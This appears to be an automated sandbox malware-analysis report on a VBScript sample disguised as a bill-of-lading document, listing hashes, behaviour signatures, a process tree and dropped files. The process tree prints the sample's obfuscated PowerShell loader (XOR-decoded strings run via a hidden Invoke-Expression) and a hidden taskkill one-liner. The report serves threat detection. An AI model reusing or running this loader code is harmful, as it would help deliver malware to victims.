Analysis
- max time kernel
149s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
27/10/2026, 03:31
Static task
static1
Behavioral task
behavioral1
Sample
CKCOXM2604298M提单样本.vbs
Resource
win10v2004-20260911-en
11 signatures
150 seconds
Behavioral task
behavioral2
Sample
CKCOXM2604298M提单样本.vbs
Resource
win11ltsc2024-20260911-en
10 signatures
150 seconds
General
- Target CKCOXM2604298M提单样本.vbs
- Size 29KB
- Sample261027-d2216abs2j
- SHA256 a5f26905d81e65c2de5579f0a2c8ff83c3cd4649eff015387d2ddf148b46a4c6
- MD5 99abaf531709ff89d4887a4560603352
- SHA1 29cdd8527db165bf63027aee90f707e3d98ad6ef
- SHA512 726646d0a164ccb3d383da3e0a697d087e8a24a47500237387a9c2191e9f9b126b6f9e70fc28ff6abdf5542529fe2cc6991ae9c1a4dacaf3d89d407558f3319b
- SSDEEP 768:KSObhOJnITHc0XODVkLEANEy5gJJAk3aG/SCthj0l0tBZzr8c:LihOJnsHcFDVkLEANEwgJJh3aGxy0Xuc
- TLSH T1EBD264178D068FF01C7A2756A57FA81DA920036678387D0E398FF15C3B3A625CBD16E6
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 11 5428 powershell.exe 12 5428 powershell.exe 17 5428 powershell.exe 18 5428 powershell.exe 19 5428 powershell.exe 20 5428 powershell.exe 33 5428 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5468 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation WScript.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 4528 WScript.exe - SmartAssembly .NET packer 1 IoCs
Detects SmartAssembly .NET packer.
resource yara_rule behavioral1/memory/5428-14-0x0000026E64790000-0x0000026E647A6000-memory.dmp SmartAssembly - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3388 cmd.exe - Kills process with taskkill 3 IoCs
pid Process 3200 taskkill.exe 1848 taskkill.exe 5744 taskkill.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5428 powershell.exe 5428 powershell.exe 5428 powershell.exe 5468 powershell.exe 5468 powershell.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 5428 powershell.exe Token: SeDebugPrivilege 5468 powershell.exe Token: SeDebugPrivilege 5744 taskkill.exe Token: SeDebugPrivilege 3200 taskkill.exe Token: SeDebugPrivilege 1848 taskkill.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4528 wrote to memory of 5428 4528 WScript.exe 84 PID 5428 wrote to memory of 5468 5428 powershell.exe 95 PID 5468 wrote to memory of 3388 5468 powershell.exe 97 PID 3388 wrote to memory of 5744 3388 cmd.exe 99 PID 3388 wrote to memory of 3200 3388 cmd.exe 100 PID 3388 wrote to memory of 1848 3388 cmd.exe 101
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CKCOXM2604298M提单样本.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4528 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=62-34;$yFoyC922='NvD6Hajx0kS';$fHG0k20='9Gh5HugxWV124epS';$dCWrmLQ='xhuVx99SgguhuSH4H1gpgeggH5x5HH5guhHV92GGGughhVGWhWux5guV9exV5VHWx1g9HVx5HhuGuHupuH9SH5xeHVGghHh1g9uHueg992Hhg4hhGWHeGWg9uhupHuHhGug9ge9uhuHWxe9gg2H9G5Hug4HSxGH5ughWuuuuuuHhGug251g9x29hxuHSuW92uGuxgggg9H519uhS92929g95G4gug99Wx4HhupupupHuGpuV5h59Hu5uHx52H9GHHe5GGug9HVGG5gHWx9g9GHH25xG4g2g4H5g4HWxVGhHeGV5Gghx9gxuWx29G54gSuuu1GpGSH4x1HSxG9Wx2uuuxxSu992u4H9g1hgHhuuupHHxGGpH5g9x1H25gHWxeGhHehSg954955H945pH4HVxuuuugHHghg4ggu1xx9Sxxg2uSH29HHuHHxuHhxS92xxHVgeGWu9ghg4xxuVg49uggHhg9u99uHuggxxH5xhH4hSG2g2g49SHuhxHxHVxeGVg9uhHHu251H5ggg9H5xe95xpgSHVuh9Sg455hpxWxhGSh59V5ehW5VHugWgguW555SxpupuuuhH1G4u1xGHSxG9hxgHWG9GGgx52hV5H945p91gxuuu5ug95upgx5HgWxGG2x4uxuSH59pxugWg9HeuWGpxeugx4H29Hu1x15Hux5pG4x5HVuGHSH1GVuhgxuWg49ux4u4g2xS5xGugWhH9u5pgGGWG2G99hH1GugWhu94h5H4u4upHx9Shuu5g5xGHSg1H4HGHhH5ug9Su4hxu1HVg1HhHuupuhgG9guWg4x1uWhuH4GS5GG99hH1GGhexuGp5puG5hx4uuugHxg5gWx1HWxG9G5hGgxVH4G1HHxeu2HpxH9VxGHSG99g929GhV5VgSxGGVx4HSG99g929GhxuWHVx992ggu5929hgx52hV5H945p91xeHVuuH59VuVhV549WxSuS5huhup9hHpu9525e94guH4ggHVHV9hGGGGx2xGuWg2Gpx4G2GHH5u2GSHex2u2x999xeu1uHgg92HugW549WxSuS52G2He9h9Vu9xexxHH5pGx5huWuSH4GpuWgxgGHV5pGG5hHg929hgx52hV5H945pGpxxHSHuu99HGGhex1uVxh995hHg929hgx52hV5H945pHWx59SG9GSH1GghphShGGHH45hG2G99g929HhVhV945g55xgHVuSHSH1Ggu2xWu4xS5Hx1g1xhg552945H559uhugGGWGSuGGHH194hV5H9WxSuW5hG9GHH5uS919HGp945pH45hGSuGGhH194hVuH9H5gHWx59eG99VH1GVugx9upxG9G5hG4xxg99ux9HGugu2xSheu995g1g5hW9VgSu5u2uWhHH5';$n3JJfN8Q7='e22W15e224WgW1WuSp1u4244S14W2S4up91pp22upueg45W4WupGWh1VpSS1ee2gWG25Vh1512WpW42WV4S5WVVp2hVh1VeGWh1GWpWWSGW11u21VuWH4GeeSu12V44xSp2x2VVueHeV41pepgSG2ep1VxeeS541254uV2121SS115eg44V2VV1xW4WuWe11SgWg1x11WH1gSH1419WW21e91e2x1pWGWH4924SVShS124pxeSe9S54G254epHpSSe2u45S44S2heg25e9pHW22hph19V1WH2hWuexW4291pV2px1GV21x21WSSWVppHp2241uSuS2pGS54G254epHpSSe2u1xV942S24uShe1pHph25S9ppehWu1gWeSS4HpH2HSe2G1S4p42pp4G4W2p2e241VS915eW2S2gVVpx45WG1G2pS111VSWu2H241VexVGV2V21ep92GWp1x2hpxVS1e1G212ep1Vxe4S1e1VppxpHpSSe2uppehW1p14G1p4ep4V92Vpx1GV242SH1HS21xSe1125S1VS2511ppe42H4HSSpSSVSxSpegegS54V44WV2g19292upV25W5VVV9eg1SWuShS124Sueg4S2Ge925e9pHp2241ep92SWu2xWHp21h1hpxSVSHSxeSe9S5p4VV4epHpSSe2G144H42pp4G2xW4S4pGVHS211V5V5V4Wx224V1gSSSH1p45S442S54G254e1e1VSe2ep1VHe1S544SHWWpHSSSe2W1SVWWSS54uSGeSpHph21pGppehWVph4W25VgpHp22S1HppeeegS54uSheHp1W52WS21VWhW5pW4GVppxpHpSSe2up1VHeWS5e4254V1gSeSe2WppehWVphe1VppxpHpSSe2uppehWVpx4G1p4ep91ppu22VeW5WV19VupGWH111WSu2G144x4xS54uSGeppeSHe9VSppeg42SxW51G4eSVpSSVSHSgeW1h2eWuSgVuW21VSu2G144g4hpWp4VV4epHpSSe2up1VHepS5e4252gVx2g1ppG12V24uV9WpSeV21G2e1V4WSH441e1GWpSp1S1u242W15S11uVS1GWWSeW1p4p22S1Gpx4e42S54G2xWSSgpSp92up1Vxe5Se1WSeWV1G2xVhS5pgehWVp54W1W4epHpSSVSxS4egegS54uSheup1Wg25SG12Wp1H2u4V2xWSSHpgpgVW4Heg42S54G2xWSShpSp92uVu1uVh19VuSgW9p1Ve2WS51hV5WW1xWWS4W5p1Wp1ppg12V2WV2SVW4pexSpW52hSH11ep4S2GeH21eg4V4uSe2uWVV5VSSp2GpGWh1x111ppgppW142W9WppGVVpVW92SSS12VuVSS51h452W';$umveIRC='uhgx54gS9x5p55h1gW5p9GGug19Hh1hx5W51hGgSh5Hh5ehWGhgSGxhVxggVH15pGe9G5puW5SuHhGxg9hg5hu9hG55puuupGu5S51hGh4GV9pGShSuHHVhH9Wu2Hph4xxHSuhgpG15euHg9xgg9gpgGHG5uhS94up9ehe55g4hH9W9299huGuh1u594gxh9gV9ShpHSxxuSh5uHxgxgg4u555GeGehxuWhehu9W51hxuWgxhh55G9G5H4599pgg59gWx9Hgu2xGxu99xVuxxggHh4xxH2G9xhHuhhh25VhHh2gGxxHWh2x2HVHxh5ge5h9xuS59uhHSgeuG5GxVuxxggHh4xxH2G9x5uW5xuHxu9Vh9xp5W9huhgehSgghp54Gx95gHG55x5HxS55uhGWgVGHG5u154he5u9WH9g45uGS9ShhHHh9hpGG9eh15h5uG15ph2g1Gg5p5xGSh2u4HuGx9uhSgHGp545xhg5SuhhG5uGeGxHV52hHuug5uW5GuHxV5Hxeh4g1HSughWHGhHhxhW5H5xxWhu9gG4heu951uWxexhhg5uxVh5GxhHGSxpG4xex2gH5eghHgxSH9u4gVHHxeg2gHhH9W9299huGuh1u5Gu5GxV5Gx9HgHVHxxhh1uHxexgg9gSggHSHSg1u9uuG9hS5VhVh4x9hxGuxxHuheueggu2HphW5HueuhxxuWH19Sh9gegHhW5Hu4uhxxuWHHGGh1x292gp5e91GG5puWuV9ehphhhGgGxVh4GehgGHgSGxhV5Sh2ghhHHG555W91g29eGG5S5xxWu1guughVH4h1HVxeGGhGxWx15eG5hHG4guGVxex29Vgu5V9gGS5SGuh1HugeggxHh4x1hhG55hGGgx9G59xgxe5ugpugxSH9u4gVHGxeg2gHhHxSH2GGxpuWh9uHg4gGgeh4xhHSH9xSHph5uHx95H54g5huHSHh5hH2H2xVuxxhh1xV5295uhxxuWhpGxgpxW9ugW55HxhVG1h2HV9Ghphhh2gGGW9eGWhSG2xphVGehegHHu55HSHSg1u4gVH9ggxgG9g55491G4g1Huh1ugxV5uxGhpg4HShG5pGVxpGGxeg2gHhpGp92GphSu1h19VxHu2Hph4xxHSuhgpG254uHg9xgg9gpg9HG5uhS94HxGGhV5ph2gWxSHxhehp91guGVxexGG4H1h5hpuug5uWhGuHxu9Vh9xp5W9huhgeh9u4HHg9xGgehuxVhgG454GxgGGGxuxhh1xV5295upg1h5guGg5x55hxxW945hhSg1u9hpGggHxggWhW5Hupupg1uSheuWxexhhg5Hx2HSughVHWh1uWxexpG2gWhu99GSg1uSu4G49H9Sg5huxpHg9S5xxu99';$mgHHiyY=0x4C66-0x5EAB;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x5A)};$vzzfsb=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0xA5)};$nPjxXtqJ=$sSFNpNrR;$sSFNpNrR=@();foreach($usEiWodWO in [char[]]$yFoyC922){$sSFNpNrR+=[byte]($usEiWodWO-bxor0x3C)};$qHDyj1J=$sSFNpNrR;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$dCWrmLQ.Length){$zFQszL=$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF])*16+$fHG0k20.IndexOf($dCWrmLQ[$iARPxZQF+1]);if($p3zb2QaE-ge$vzzfsb.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$vzzfsb[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$zrAL2c=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$n3JJfN8Q7.Length){$zFQszL=$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF])*16+$fHG0k20.IndexOf($n3JJfN8Q7[$iARPxZQF+1]);if($p3zb2QaE-ge$nPjxXtqJ.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$nPjxXtqJ[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$xEK2NG3=$lldJgZa;$lldJgZa='';$iARPxZQF=0;$p3zb2QaE=0;while($iARPxZQF-lt$umveIRC.Length){$zFQszL=$fHG0k20.IndexOf($umveIRC[$iARPxZQF])*16+$fHG0k20.IndexOf($umveIRC[$iARPxZQF+1]);if($p3zb2QaE-ge$qHDyj1J.Length){$p3zb2QaE=0};$lldJgZa+=[char]($zFQszL-bxor$qHDyj1J[$p3zb2QaE]);$p3zb2QaE++;$iARPxZQF+=2};$oHfttgMI0=$lldJgZa;$xzOWn3f=$zrAL2c+$xEK2NG3+$oHfttgMI0;.($ShellId[1] + $ShellId[13] + 'x') $xzOWn3f2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5428 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5468 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3388 -
C:\Windows\system32\taskkill.exetaskkill /IM RegAsm.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5744
-
-
C:\Windows\system32\taskkill.exetaskkill /IM Vbc.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3200
-
-
C:\Windows\system32\taskkill.exetaskkill /IM MsBuild.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1848
-
-
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
- MD5 6cf293cb4d80be23433eecf74ddb5503
- SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
- SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
- TLSH T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 06699619cf99b43d2f514fd536fb560c6a0316dbb0d3fa499823cf46df60a833
- MD5 b3be1f7f619f9767a60cddb03c36f59e
- SHA1 33bf725a7491e2044f4d7480e90db2da0d488046
- SHA512 0917a43a74d4b6614d6ffff59fdb551e2752cd32343267ce8892b7d513a8129683f68582d80b37fc2fdbf0b7a04e83bb7cb49a913b44ae32c791ff64b52aa90c
- TLSH T1B7217527F39C8921CC8A013A509E9C1476B283D741AECF9F6FC4D604E27F988CB61194
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eue5otaz.bm4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH